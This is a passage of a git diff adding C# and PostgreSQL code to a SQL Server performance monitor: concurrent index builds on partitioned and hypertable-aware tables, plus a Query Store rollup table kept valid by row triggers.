+        if (dot <= 0 || dot == tableName.Length - 1)
+        {
+            throw new ArgumentException($"A table name must be schema-qualified (schema.name); got '{tableName}'.", nameof(tableName));
+        }
+
+        return (tableName[..dot], tableName[(dot + 1)..]);
+    }
+
+    /// <summary>
+    /// The pure build-or-skip decision. The version check comes first: below the floor a build is wrong whatever the
+    /// table is. A hypertable is then skipped, because TimescaleDB refuses <c>CONCURRENTLY</c> on one.
+    /// </summary>
+    public static IndexDecision Decide(IndexSpec spec, int serverVersionNum, bool tableIsHypertable)
+    {
+        if (serverVersionNum < spec.MinimumServerVersionNum)
+        {
+            return new IndexDecision(
+                IndexAction.SkipServerVersion,
+                $"server_version_num {serverVersionNum} is below {spec.MinimumServerVersionNum}: {spec.BelowMinimumReason}");
+        }
+
+        if (tableIsHypertable)
+        {
+            return new IndexDecision(
+                IndexAction.SkipHypertable,
+                $"{spec.TableName} is a hypertable and TimescaleDB refuses CREATE INDEX CONCURRENTLY on a hypertable");
+        }
+
+        return new IndexDecision(IndexAction.Build, string.Empty);
+    }
+
+    /// <summary>
+    /// The background entry point: waits <paramref name="delay"/>, then makes one <see cref="EnsureAsync"/> attempt
+    /// per spec, in order, each on its own connection, and never throws. A failure of one index is a Warning and the
+    /// next index still runs; the next service start retries it. Cancellation (shutdown) ends it quietly, and the line
+    /// it logs names the index in progress (before the delay is over, every index the run would have built); an error
+    /// raised while shutting down is logged the same way, at Information.
+    /// </summary>
+    public static Task RunDelayedAsync(
+        NpgsqlDataSource postgres,
+        ILogger logger,
+        TimeSpan delay,
+        IReadOnlyList<IndexSpec> specs,
+        CancellationToken cancellationToken) =>
+        RunDelayedAsync(
+            logger,
+            delay,
+            specs,
+            async (spec, token) =>
+            {
+                await using var connection = await postgres.OpenConnectionAsync(token).ConfigureAwait(false);
+                await EnsureAsync(connection, spec, logger, token).ConfigureAwait(false);
+            },
+            cancellationToken);
+
+    /// <summary>
+    /// <see cref="RunDelayedAsync(NpgsqlDataSource, ILogger, TimeSpan, IReadOnlyList{IndexSpec}, CancellationToken)"/>
+    /// with the one ensure attempt injected, so the in-order, failure-isolated loop runs without a store.
+    /// </summary>
+    internal static async Task RunDelayedAsync(
+        ILogger logger,
+        TimeSpan delay,
+        IReadOnlyList<IndexSpec> specs,
+        Func<IndexSpec, CancellationToken, Task> ensureOne,
+        CancellationToken cancellationToken)
+    {
+        var delayFinished = false;
+
+        /* The index the run is on, so a shutdown line can name it: the delay has no index, and the loop sets this before
+           each attempt. */
+        IndexSpec? inProgress = null;
+        try
+        {
+            await Task.Delay(delay, cancellationToken).ConfigureAwait(false);
+            delayFinished = true;
+            foreach (var spec in specs)
+            {
+                inProgress = spec;
+                try
+                {
+                    await ensureOne(spec, cancellationToken).ConfigureAwait(false);
+                }
+                catch (Exception ex) when (!cancellationToken.IsCancellationRequested)
+                {
+                    LogEnsureFailure(logger, spec.IndexName, ex);
+                }
+            }
+        }
+        catch (OperationCanceledException) when (!delayFinished)
+        {
+            logger.LogDebug(
+                "Query Store index ensure ({Indexes}) was cancelled before it started.",
+                IndexNames(specs));
+        }
+        catch (OperationCanceledException)
+        {
+            logger.LogInformation(
+                "Query Store index ensure ({Index}) was cancelled at shutdown; the next start retries, "
+                + "and drops any half-built leftover first.",
+                inProgress?.IndexName ?? IndexNames(specs));
+        }
+        catch (Exception ex)
+        {
+            /* An error raised while the service shuts down (a connection closed under the build, say) is part of the
+               shutdown, so it is Information like the line above, not a failure to retry-warn about. */
+            logger.LogInformation(
+                "Query Store index ensure ({Index}) stopped at shutdown: {ExceptionType}{SqlState}: {Message}; "
+                + "the next start retries, and drops any half-built leftover first.",
+                inProgress?.IndexName ?? IndexNames(specs), ex.GetType().Name, SqlStateSuffix(ex), ex.Message);
+        }
+    }
+
+    private static string IndexNames(IReadOnlyList<IndexSpec> specs) => string.Join(", ", specs.Select(spec => spec.IndexName));
+
+    /* ", SQLSTATE 53100" for a server error that carries a SQLSTATE (a full disk reads differently from a lock timeout),
+       nothing otherwise. A block body, because TsqlConventionGuardTests' member scan stops short of an expression-bodied
+       member that has a property pattern in it. */
+    private static string SqlStateSuffix(Exception ex)
+    {
+        if (ex is NpgsqlException npgsql && !string.IsNullOrEmpty(npgsql.SqlState))
+        {
+            return $", SQLSTATE {npgsql.SqlState}";
+        }
+
+        return string.Empty;
+    }
+
+    private static void LogEnsureFailure(ILogger logger, string indexName, Exception ex)
+    {
+        logger.LogWarning(
+            "Query Store index ensure ({Index}) failed and is retried at the next start: {ExceptionType}{SqlState}: {Message}",
+            indexName, ex.GetType().Name, SqlStateSuffix(ex), ex.Message);
+    }
+
+    /// <summary>
+    /// Makes sure one index exists and is valid, on <paramref name="connection"/>, which must be open and outside
+    /// any transaction (<c>CONCURRENTLY</c> fails inside one).
+    /// </summary>
+    public static async Task EnsureAsync(
+        NpgsqlConnection connection, IndexSpec spec, ILogger logger, CancellationToken cancellationToken)
+    {
+        int serverVersionNum;
+        bool tableExists;
+        bool hasHypertableView;
+        bool? indexValid;
+        string? tableKind;
+
+        await using (var state = new NpgsqlCommand(StateSql, connection) { CommandTimeout = CatalogReadTimeoutSeconds })
+        {
+            state.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = spec.TableName });
+            state.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = spec.IndexName });
+            await using var reader = await state.ExecuteReaderAsync(cancellationToken).ConfigureAwait(false);
+            await reader.ReadAsync(cancellationToken).ConfigureAwait(false);
+            serverVersionNum = reader.GetInt32(0);
+            tableExists = reader.GetBoolean(1);
+            hasHypertableView = reader.GetBoolean(2);
+            indexValid = reader.IsDBNull(3) ? null : reader.GetBoolean(3);
+            tableKind = reader.IsDBNull(4) ? null : reader.GetString(4);
+        }
+
+        if (!tableExists)
+        {
+            logger.LogDebug("Query Store index ensure skipped: {Table} does not exist yet.", spec.TableName);
+            return;
+        }
+
+        /* #5571: a day-partitioned table (relkind p) takes the ON ONLY + per-leaf path after the version check, never the
+           plain build below (CREATE INDEX CONCURRENTLY on a partitioned table is refused outright). It is never a
+           hypertable, so the probe below answers false for it. */
+        var isPartitioned = string.Equals(tableKind, "p", StringComparison.Ordinal);
+        var isHypertable = false;
+        if (hasHypertableView)
+        {
+            var (tableSchema, tableName) = SplitTableName(spec.TableName);
+            await using var hypertable = new NpgsqlCommand(HypertableSql, connection) { CommandTimeout = CatalogReadTimeoutSeconds };
+            hypertable.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = tableSchema });
+            hypertable.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = tableName });
+            isHypertable = (bool)(await hypertable.ExecuteScalarAsync(cancellationToken).ConfigureAwait(false))!;
+        }
+
+        var decision = Decide(spec, serverVersionNum, isHypertable);
+        if (decision.Action == IndexAction.SkipServerVersion)
+        {
+            logger.LogInformation("Query Store index {Index} not built: {Reason}.", spec.IndexName, decision.Reason);
+            return;
+        }
+
+        if (decision.Action == IndexAction.SkipHypertable)
+        {
+            logger.LogWarning("Query Store index {Index} not built: {Reason}.", spec.IndexName, decision.Reason);
+            return;
+        }
+
+        if (isPartitioned)
+        {
+            await EnsurePartitionedAsync(connection, spec, logger, cancellationToken).ConfigureAwait(false);
+            return;
+        }
+
+        if (indexValid == true)
+        {
+            logger.LogDebug("Query Store index {Index} already exists and is valid.", spec.IndexName);
+            return;
+        }
+
+        if (indexValid == false)
+        {
+            logger.LogWarning(
+                "Query Store index {Index} exists but is INVALID (an interrupted build); dropping it and rebuilding.",
+                spec.IndexName);
+            await using var drop = new NpgsqlCommand(spec.PlainDropSql, connection) { CommandTimeout = BuildTimeoutSeconds };
+            await drop.ExecuteNonQueryAsync(cancellationToken).ConfigureAwait(false);
+        }
+
+        var started = System.Diagnostics.Stopwatch.StartNew();
+        await using (var build = new NpgsqlCommand(spec.PlainCreateSql, connection) { CommandTimeout = BuildTimeoutSeconds })
+        {
+            await build.ExecuteNonQueryAsync(cancellationToken).ConfigureAwait(false);
+        }
+
+        logger.LogInformation(
+            "Query Store index {Index} built in {Seconds:F1}s (valid).", spec.IndexName, started.Elapsed.TotalSeconds);
+    }
+
+    /// <summary>Deadline for the lock wait of the short DDL the partitioned path runs, in seconds.</summary>
+    internal const int PartitionedLockTimeoutSeconds = 5;
+
+    /* The partitioned parent's leaf partitions ($1), each with whether it already has a child of the parent index ($2). */
+    internal const string LeafStateSql = @"
+SELECT t.relid::regclass::text,
+       c.relname,
+       EXISTS
+       (
+           SELECT 1
+           FROM pg_inherits AS ih
+           JOIN pg_index AS ci ON ci.indexrelid = ih.inhrelid
+           WHERE ih.inhparent = to_regclass($2)
+           AND   ci.indrelid = t.relid
+       ) AS attached
+FROM pg_partition_tree(to_regclass($1)) AS t
+JOIN pg_class AS c ON c.oid = t.relid
+WHERE t.isleaf
+ORDER BY c.relname;";
+
+    /// <summary>
+    /// The partitioned path (#5571). <c>CREATE INDEX CONCURRENTLY</c> is refused on a partitioned table, so the parent
+    /// index is created <c>ON ONLY</c> (catalog only, INVALID until every leaf has a child), then each leaf without an
+    /// attached child gets a <c>CONCURRENTLY</c> build on the leaf (an INVALID leftover of an interrupted build dropped
+    /// first) and an <c>ALTER INDEX ... ATTACH PARTITION</c>. The parent turns VALID by itself when the last leaf attaches.
+    /// A partition made afterwards builds its own child at ATTACH, on an empty table, so this runs to completion once.
+    /// The two short statements that take a parent-level lock run in a transaction under a 5 s <c>lock_timeout</c>; a
+    /// timeout is an error here (the delayed task logs it and the next start retries).
+    /// </summary>
+    internal static async Task EnsurePartitionedAsync(
+        NpgsqlConnection connection, IndexSpec spec, ILogger logger, CancellationToken cancellationToken)
+    {
+        if (string.IsNullOrEmpty(spec.IndexDefinition))
+        {
+            throw new InvalidOperationException($"Index spec {spec.IndexName} has no IndexDefinition, which the partitioned path needs.");
+        }
+
+        var (indexSchema, indexShortName) = SplitTableName(spec.IndexName);
+        var tableShortName = SplitTableName(spec.TableName).Name;
+        var started = System.Diagnostics.Stopwatch.StartNew();
+
+        await ExecuteInLockTimeoutAsync(
+            connection,
+            $"CREATE INDEX IF NOT EXISTS {indexShortName} ON ONLY {spec.TableName} {spec.IndexDefinition};",
+            cancellationToken).ConfigureAwait(false);
+
+        var leaves = new List<(string Leaf, string Suffix, bool Attached)>();
+        await using (var state = new NpgsqlCommand(LeafStateSql, connection) { CommandTimeout = CatalogReadTimeoutSeconds })
+        {
+            state.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = spec.TableName });
+            state.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = spec.IndexName });
+            await using var reader = await state.ExecuteReaderAsync(cancellationToken).ConfigureAwait(false);
+            while (await reader.ReadAsync(cancellationToken).ConfigureAwait(false))
+            {
+                var relName = reader.GetString(1);
+                var suffix = relName.StartsWith(tableShortName + "_", StringComparison.Ordinal) ? relName[(tableShortName.Length + 1)..] : relName;
+                leaves.Add((reader.GetString(0), suffix, reader.GetBoolean(2)));
+            }
+        }
+
+        var built = 0;
+        foreach (var (leaf, suffix, attached) in leaves)
+        {
+            if (attached)
+            {
+                continue;
+            }
+
+            var childName = $"{indexShortName}_{suffix}";
+            if (childName.Length > 63)
+            {
+                throw new InvalidOperationException($"The leaf index name {childName} is longer than 63 characters.");
+            }
+
+            var childQualified = $"{indexSchema}.{childName}";
+            bool? childValid = null;
+            await using (var probe = new NpgsqlCommand(
+                "SELECT i.indisvalid FROM pg_index AS i WHERE i.indexrelid = to_regclass($1);", connection) { CommandTimeout = CatalogReadTimeoutSeconds })
+            {
+                probe.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = childQualified });
+                if (await probe.ExecuteScalarAsync(cancellationToken).ConfigureAwait(false) is bool valid)
+                {
+                    childValid = valid;
+                }
+            }
+
+            if (childValid == false)
+            {
+                logger.LogWarning(
+                    "Query Store index {Index} exists but is INVALID (an interrupted build); dropping it and rebuilding.", childQualified);
+                await using var drop = new NpgsqlCommand($"DROP INDEX CONCURRENTLY IF EXISTS {childQualified};", connection) { CommandTimeout = BuildTimeoutSeconds };
+                await drop.ExecuteNonQueryAsync(cancellationToken).ConfigureAwait(false);
+                childValid = null;
+            }
+
+            if (childValid is null)
+            {
+                await using var build = new NpgsqlCommand(
+                    $"CREATE INDEX CONCURRENTLY IF NOT EXISTS {childName} ON {leaf} {spec.IndexDefinition};", connection) { CommandTimeout = BuildTimeoutSeconds };
+                await build.ExecuteNonQueryAsync(cancellationToken).ConfigureAwait(false);
+            }
+
+            await ExecuteInLockTimeoutAsync(
+                connection, $"ALTER INDEX {spec.IndexName} ATTACH PARTITION {childQualified};", cancellationToken).ConfigureAwait(false);
+            built++;
+        }
+
+        bool parentValid;
+        await using (var final = new NpgsqlCommand("SELECT i.indisvalid FROM pg_index AS i WHERE i.indexrelid = to_regclass($1);", connection) { CommandTimeout = CatalogReadTimeoutSeconds })
+        {
+            final.Parameters.Add(new NpgsqlParameter { NpgsqlDbType = NpgsqlTypes.NpgsqlDbType.Text, Value = spec.IndexName });
+            parentValid = await final.ExecuteScalarAsync(cancellationToken).ConfigureAwait(false) is true;
+        }
+
+        logger.LogInformation(
+            "Query Store index {Index} on partitioned {Table}: {Built} leaf index(es) built and attached in {Seconds:F1}s; parent {State}.",
+            spec.IndexName, spec.TableName, built, started.Elapsed.TotalSeconds, parentValid ? "valid" : "INVALID");
+    }
+
+    private static async Task ExecuteInLockTimeoutAsync(NpgsqlConnection connection, string sql, CancellationToken cancellationToken)
+    {
+        await using var transaction = await connection.BeginTransactionAsync(cancellationToken).ConfigureAwait(false);
+        await using (var timeout = new NpgsqlCommand($"SET LOCAL lock_timeout = '{PartitionedLockTimeoutSeconds}s';", connection, transaction) { CommandTimeout = CatalogReadTimeoutSeconds })
+        {
+            await timeout.ExecuteNonQueryAsync(cancellationToken).ConfigureAwait(false);
+        }
+
+        await using (var command = new NpgsqlCommand(sql, connection, transaction) { CommandTimeout = CatalogReadTimeoutSeconds })
+        {
+            await command.ExecuteNonQueryAsync(cancellationToken).ConfigureAwait(false);
+        }
+
+        await transaction.CommitAsync(cancellationToken).ConfigureAwait(false);
+    }
+}
diff --git a/Darling/PerformanceMonitor.Darling.Storage/QueryStoreComposeStamp.cs b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreComposeStamp.cs
new file mode 100644
index 0000000000..c4b7be7f51
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/QueryStoreComposeStamp.cs
@@ -0,0 +1,942 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Collections.Generic;
+using System.Diagnostics;
+using System.Linq;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using NpgsqlTypes;
+using PerformanceMonitor.Collectors;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The exact stamp-grain rollup of <c>collect.query_store_interval_wide</c> (#5582, V173): per (collection_time, server,
+/// database, module, query_hash), the PARTIALS a Query Store panel combines (counts, sums, minima, maxima and the
+/// execution-weighted products), so a fleet-day panel reads about a sixth of the bytes per wide row it replaces
+/// (the field numbers are in the PR for #5582). The grain is the exact stamp, not the hour, so a bucketed panel gets the
+/// same minute buckets the wide read gives. The compiler combines these partials with the same expressions it combines
+/// the single-scan base CTE's partials with, so the answer is the wide table's answer.
+///
+/// <para><b>Validity is per (server, hour).</b> <c>collect.query_store_compose_stamp_built</c> keeps one row per pair with
+/// <c>late_seq</c> (the number of transactions that landed a late row in the pair, bumped by the row triggers on the wide
+/// table, once per pair per transaction) and <c>built_seq</c> (the value the builder read BEFORE it
+/// aggregated). A pair is valid only while the two are equal. <c>collect.query_store_compose_stamp_hours</c> records which
+/// hours the builder has done. The keys are per server for V168's reason: each server's apply is its own transaction, and a
+/// fleet-wide hour row would queue 43 appliers on one tuple.</para>
+///
+/// <para><b>The build, one transaction per hour</b> (<see cref="BuildHourAsync"/>): (0) a transaction advisory lock on the hour,
+/// so two services never build one hour at once; (0b) the margin guard (<see cref="OpenWriterSql"/>), which defers the hour while
+/// a writing transaction that could hold an unmarked row of it is open; (1) a plain <c>SELECT</c> of each of the hour's pairs'
+/// <c>late_seq</c>, BEFORE the aggregation (that order is what keeps the rollup exact: see <see cref="ReadPairsSql"/>); (2) delete the hour's rollup rows; (3) insert them from the
+/// wide table; (4) upsert every pair of the hour with <c>built_seq</c> = the value read in (1), 0 for a pair that did not
+/// exist; (5) upsert the hour. A writer whose bump is not committed at (1), or whose pair appears after (1), leaves the pair
+/// stale (its <c>late_seq</c> ends above the <c>built_seq</c> written in (4), or its row is inserted with <c>built_seq</c>
+/// NULL), which is safe: the next tick rebuilds the hour. A writer that bumps a pair the build has already upserted waits for the
+/// build's commit on that row, from (4) on.</para>
+///
+/// <para><b>Order:</b> stale hours first (a stale hour is one the compiler can no longer serve from the rollup), then the hours
+/// the builder has never done, newest first, so the default one-day window is servable after about 21 builds rather than after
+/// the whole backlog. An hour is built once it is <see cref="BuildLag"/> old: a row leaves its hour at most about 59.5 minutes
+/// plus one collection cycle after its stamp, about 2 h 25 min after the hour starts, so 3 h holds with about 35 minutes
+/// to spare, and the trigger covers whatever is later.</para>
+///
+/// <para><b>The partial columns come from one table</b> (<see cref="PartialColumnMap"/>): the CREATE TABLE in the V173 rung is a
+/// literal (a shipped migration is never regenerated), a test pins it equal to the map, and the builder's expressions and the
+/// compiler's lookups are generated from the map. They are never <c>double precision</c>.</para>
+///
+/// <para><b>No Lite twin:</b> Lite has no PostgreSQL store.</para>
+/// </summary>
+public static class QueryStoreComposeStamp
+{
+    /// <summary>The store schema version of the rung that creates the tables and the triggers (V173).</summary>
+    public const int RungVersion = 173;
+
+    public const string Table = "collect.query_store_compose_stamp";
+    public const string BuiltTable = "collect.query_store_compose_stamp_built";
+    public const string HoursTable = "collect.query_store_compose_stamp_hours";
+    public const string TriggerFunction = "collect.query_store_compose_stamp_mark_late";
+    public const string InsertTrigger = "trg_query_store_compose_stamp_late_ins";
+    public const string UpdateTrigger = "trg_query_store_compose_stamp_late_upd";
+
+    /// <summary>How old an hour must be before the builder does it: build hour H once now is at least H + this.</summary>
+    public static readonly TimeSpan BuildLag = TimeSpan.FromHours(3);
+
+    /// <summary>The trigger marks a row whose hour is more than this before the hour of the writer's clock (the
+    /// <c>WHEN</c> offset). One hour, against <see cref="BuildLag"/> of three: a row is marked from H + 2 h on, and the
+    /// builder reads H from H + 3 h on, so a writer transaction would have to stay open over an hour between its write
+    /// and its commit to land an unmarked row after the build. The offset is a literal in the rung (a shipped migration);
+    /// <see cref="WhenOffsetSql"/> is the text a test compares it to.</summary>
+    public static readonly TimeSpan WhenOffset = TimeSpan.FromHours(1);
+
+    public const string WhenOffsetSql = "interval '1 hour'";
+
+    /// <summary>The most hours one tick builds (about 2.6 s each cold, 400 K wide rows at 6.5 us).</summary>
+    public const int MaxBuildsPerTick = 6;
+
+    /// <summary>The wall-clock budget of one tick: no new build starts once this has passed.</summary>
+    public static readonly TimeSpan MaxTickDuration = TimeSpan.FromMinutes(10);
+
+    /// <summary>The server-side <c>statement_timeout</c> each build's transaction runs under.</summary>
+    public const int BuildStatementTimeoutSeconds = 60;
+
+    private const int CommandTimeoutSeconds = BuildStatementTimeoutSeconds + 30;
+
+    private static readonly string StatementTimeoutSql = $"SET LOCAL statement_timeout = '{BuildStatementTimeoutSeconds}s'";
+
+    /// <summary>The alias the compiler gives the fact relation in a partial's text (<c>ComposeCompiler.FactAlias</c>). The
+    /// map's <see cref="PartialColumn.FactExpression"/> is written over it, verbatim the text <c>TryBuildPartialValueExpr</c>
+    /// adds to its <c>PartialColumns</c>, and the builder reads the wide table under the same alias.</summary>
+    public const string FactAlias = "f";
+
+    /// <summary>One partial a Query Store panel can ask for, and the rollup column that holds it.</summary>
+    /// <param name="Column">The rollup column.</param>
+    /// <param name="SqlType">The column's type: <c>numeric</c> for a sum (<c>SUM(bigint)</c> is numeric), <c>bigint</c> for
+    /// a count, a minimum or a maximum. Never <c>double precision</c>.</param>
+    /// <param name="FactExpression">The aggregate over one group of wide rows, over <see cref="FactAlias"/>, as the
+    /// compiler writes it. The compiler finds its partial in the map by this text.</param>
+    public sealed record PartialColumn(string Column, string SqlType, string FactExpression);
+
+    /// <summary>
+    /// The one table that says which rollup column holds which partial (#5582). Every partial that
+    /// <c>ComposeCompiler.TryBuildPartialValueExpr</c> can ask for over a Query Store measure and a valid aggregate is here
+    /// (a test walks the compiler and fails on one that is not): the cumulative <c>execution_count</c> (Sum, Avg, Min, Max;
+    /// Count is <c>wide_rows</c>), the gauges <c>max_duration_us</c> and <c>max_cpu_time_us</c> (Avg, Min, Max), and the
+    /// execution-weighted products <c>avg_duration_us * execution_count</c> and <c>avg_cpu_time_us * execution_count</c>,
+    /// whose weight is <c>SUM(execution_count)</c>, which is <c>ec_sum</c>. An average partial is the sum and the count of
+    /// NON-NULL values, so a NULL is not averaged. Order is the column order of the table: the 8-byte columns first.
+    /// </summary>
+    public static IReadOnlyList<PartialColumn> PartialColumnMap { get; } = new[]
+    {
+        new PartialColumn("wide_rows", "bigint", "COUNT(*)"),
+        new PartialColumn("ec_count", "bigint", "COUNT(f.execution_count)"),
+        new PartialColumn("ec_min", "bigint", "MIN(f.execution_count)"),
+        new PartialColumn("ec_max", "bigint", "MAX(f.execution_count)"),
+        new PartialColumn("maxdur_count", "bigint", "COUNT(f.max_duration_us)"),
+        new PartialColumn("maxdur_min", "bigint", "MIN(f.max_duration_us)"),
+        new PartialColumn("maxdur_max", "bigint", "MAX(f.max_duration_us)"),
+        new PartialColumn("maxcpu_count", "bigint", "COUNT(f.max_cpu_time_us)"),
+        new PartialColumn("maxcpu_min", "bigint", "MIN(f.max_cpu_time_us)"),
+        new PartialColumn("maxcpu_max", "bigint", "MAX(f.max_cpu_time_us)"),
+        new PartialColumn("ec_sum", "numeric", "SUM(f.execution_count)"),
+        new PartialColumn("maxdur_sum", "numeric", "SUM(f.max_duration_us)"),
+        new PartialColumn("maxcpu_sum", "numeric", "SUM(f.max_cpu_time_us)"),
+        new PartialColumn("dur_wsum", "numeric", "SUM(f.avg_duration_us * f.execution_count)"),
+        new PartialColumn("cpu_wsum", "numeric", "SUM(f.avg_cpu_time_us * f.execution_count)"),
+    };
+
+    /// <summary>The key columns of the grain, after <c>collection_time</c>.</summary>
+    public static readonly IReadOnlyList<string> DimensionColumns = new[] { "server_id", "database_name", "module_name", "query_hash" };
+
+    /// <summary>The rollup column that holds <paramref name="factExpression"/> (the compiler's text of a partial), or null.</summary>
+    public static PartialColumn? ColumnFor(string factExpression) =>
+        PartialColumnMap.FirstOrDefault(c => string.Equals(c.FactExpression, factExpression, StringComparison.Ordinal));
+
+    /// <summary>
+    /// The three tables, the index, the trigger function and the two row triggers, as the V173 rung runs them. Idempotent,
+    /// catalog-only: the tables are created empty and the triggers are created on the partitioned PARENT, which clones them
+    /// onto every leaf that exists and onto every leaf created or attached later. The rung writes no GRANT (the <c>collect</c>
+    /// schema's blanket SELECT covers a new table). A shipped migration is never edited: change the rollup in a new rung.
+    /// </summary>
+    public const string CreateSql = """
+/* V173 (#5582): the exact stamp-grain rollup of query_store_interval_wide, its per-(server, hour) validity record, the
+   hours the builder has done, and the row triggers that mark a pair stale when a row lands in (or leaves) an hour that
+   the builder may already have done. Naive UTC throughout. The service builds the rollup; the function writes only the
+   validity table, the rung's own bookkeeping. */
+CREATE TABLE IF NOT EXISTS collect.query_store_compose_stamp
+(
+    collection_time timestamp NOT NULL,
+    wide_rows bigint NOT NULL,
+    ec_count bigint,
+    ec_min bigint,
+    ec_max bigint,
+    maxdur_count bigint,
+    maxdur_min bigint,
+    maxdur_max bigint,
+    maxcpu_count bigint,
+    maxcpu_min bigint,
+    maxcpu_max bigint,
+    server_id integer NOT NULL,
+    database_name text,
+    module_name text,
+    query_hash text,
+    ec_sum numeric,
+    maxdur_sum numeric,
+    maxcpu_sum numeric,
+    dur_wsum numeric,
+    cpu_wsum numeric
+);
+
+/* No unique index: a one-day range read scans the index leaves in range, and a five-column unique key is about a third
+   more cold I/O than the read it would guard. The grain is held by the builder's GROUP BY and its one-transaction
+   DELETE and INSERT under the validity rows' locks. The index is B-tree-deduplicated (about 2,600 distinct keys a day). */
+CREATE INDEX IF NOT EXISTS ix_query_store_compose_stamp_time_server
+ON collect.query_store_compose_stamp (collection_time, server_id);
+
+CREATE TABLE IF NOT EXISTS collect.query_store_compose_stamp_built
+(
+    server_id integer NOT NULL,
+    hour timestamp NOT NULL,
+    late_seq bigint NOT NULL DEFAULT 0,
+    built_seq bigint,
+    built_at timestamp,
+    source_rows bigint,
+    stamp_rows bigint,
+    CONSTRAINT pk_query_store_compose_stamp_built PRIMARY KEY (server_id, hour)
+);
+
+CREATE TABLE IF NOT EXISTS collect.query_store_compose_stamp_hours
+(
+    hour timestamp NOT NULL,
+    built_at timestamp NOT NULL,
+    CONSTRAINT pk_query_store_compose_stamp_hours PRIMARY KEY (hour)
+);
+
+CREATE OR REPLACE FUNCTION collect.query_store_compose_stamp_mark_late() RETURNS trigger
+LANGUAGE plpgsql
+SET search_path = pg_catalog, pg_temp
+AS $f$
+/* A (server, hour) is bumped at most once per transaction, for V168's reason: an apply is one statement, so tens of
+   thousands of late rows would otherwise update the same validity row again and again, each update leaving another
+   version of the tuple inside the one transaction, and the batch grows quadratically. One bump is enough: the builder
+   reads late_seq before it aggregates, and the batch's rows commit together with the bump. The pairs
+   already bumped are kept in a transaction-local setting (set_config(.., true)), which a rolled-back savepoint undoes
+   together with the bump it recorded. Each key is server_id:hour-number between commas (hour-number is whole hours since
+   1970-01-01), so one lookup is a substring test. After a commit the setting reads back as an empty string, not NULL.
+   An UPDATE marks the hour it moves a row OUT of (OLD) as well as the hour it lands in (NEW): the open interval's row is
+   refreshed with a newer collection_time, so a built hour loses a row. The threshold is the writer's own clock, not the
+   transaction start: a writer transaction open longer than the build lag could otherwise land a row in a built hour
+   unmarked. */
+DECLARE
+    threshold timestamp := date_trunc('hour', clock_timestamp() AT TIME ZONE 'UTC') - interval '1 hour';
+    marked text := coalesce(nullif(current_setting('darling.query_store_compose_stamp_marked', true), ''), ',');
+    sn integer;
+    hn timestamp;
+    kn text;
+    so integer;
+    ho timestamp;
+    ko text;
+BEGIN
+    IF NEW.collection_time < threshold THEN
+        sn := NEW.server_id;
+        hn := date_trunc('hour', NEW.collection_time);
+        kn := ',' || sn || ':' || (extract(epoch FROM hn)::bigint / 3600) || ',';
+        IF position(kn IN marked) > 0 THEN
+            kn := NULL;
+        END IF;
+    END IF;
+
+    IF TG_OP = 'UPDATE' THEN
+        IF OLD.collection_time < threshold THEN
+            so := OLD.server_id;
+            ho := date_trunc('hour', OLD.collection_time);
+            ko := ',' || so || ':' || (extract(epoch FROM ho)::bigint / 3600) || ',';
+            IF position(ko IN marked) > 0 OR ko IS NOT DISTINCT FROM kn THEN
+                ko := NULL;
+            END IF;
+        END IF;
+    END IF;
+
+    IF kn IS NULL AND ko IS NULL THEN
+        RETURN NULL;
+    END IF;
+
+    INSERT INTO collect.query_store_compose_stamp_built AS b (server_id, hour, late_seq)
+    SELECT v.s, v.h, 1
+    FROM (VALUES (sn, hn, kn), (so, ho, ko)) AS v (s, h, k)
+    WHERE v.k IS NOT NULL
+    ON CONFLICT (server_id, hour) DO UPDATE SET late_seq = b.late_seq + 1;
+
+    PERFORM set_config('darling.query_store_compose_stamp_marked',
+        marked || CASE WHEN kn IS NOT NULL THEN substr(kn, 2) ELSE '' END || CASE WHEN ko IS NOT NULL THEN substr(ko, 2) ELSE '' END, true);
+    RETURN NULL;
+END
+$f$;
+
+/* On the partitioned PARENT, as V172 does for the latest table: a row trigger on a partitioned table fires for rows written
+   through it, and is cloned onto every existing leaf (the legacy table, DEFAULT, each day) and onto every leaf created or
+   attached later. WHEN reads the writer's clock (clock_timestamp), not the transaction start. No DELETE trigger: retention
+   removes only hours that no eligible window reads, and a partition move does not change the table's content. */
+DROP TRIGGER IF EXISTS trg_query_store_compose_stamp_late_ins ON collect.query_store_interval_wide;
+CREATE TRIGGER trg_query_store_compose_stamp_late_ins
+    AFTER INSERT ON collect.query_store_interval_wide
+    FOR EACH ROW
+    WHEN (NEW.collection_time < date_trunc('hour', clock_timestamp() AT TIME ZONE 'UTC') - interval '1 hour')
+    EXECUTE FUNCTION collect.query_store_compose_stamp_mark_late();
+
+DROP TRIGGER IF EXISTS trg_query_store_compose_stamp_late_upd ON collect.query_store_interval_wide;
+CREATE TRIGGER trg_query_store_compose_stamp_late_upd
+    AFTER UPDATE ON collect.query_store_interval_wide
+    FOR EACH ROW
+    WHEN (OLD.collection_time < date_trunc('hour', clock_timestamp() AT TIME ZONE 'UTC') - interval '1 hour'
+          OR NEW.collection_time < date_trunc('hour', clock_timestamp() AT TIME ZONE 'UTC') - interval '1 hour')
+    EXECUTE FUNCTION collect.query_store_compose_stamp_mark_late();
+""";
+
+    /// <summary>The insert column list: <c>collection_time</c>, the partials in map order, then the dimensions.</summary>
+    private static string InsertColumns() =>
+        "collection_time, " + string.Join(", ", PartialColumnMap.Select(c => c.Column)) + ", " + string.Join(", ", DimensionColumns);
+
+    /// <summary>
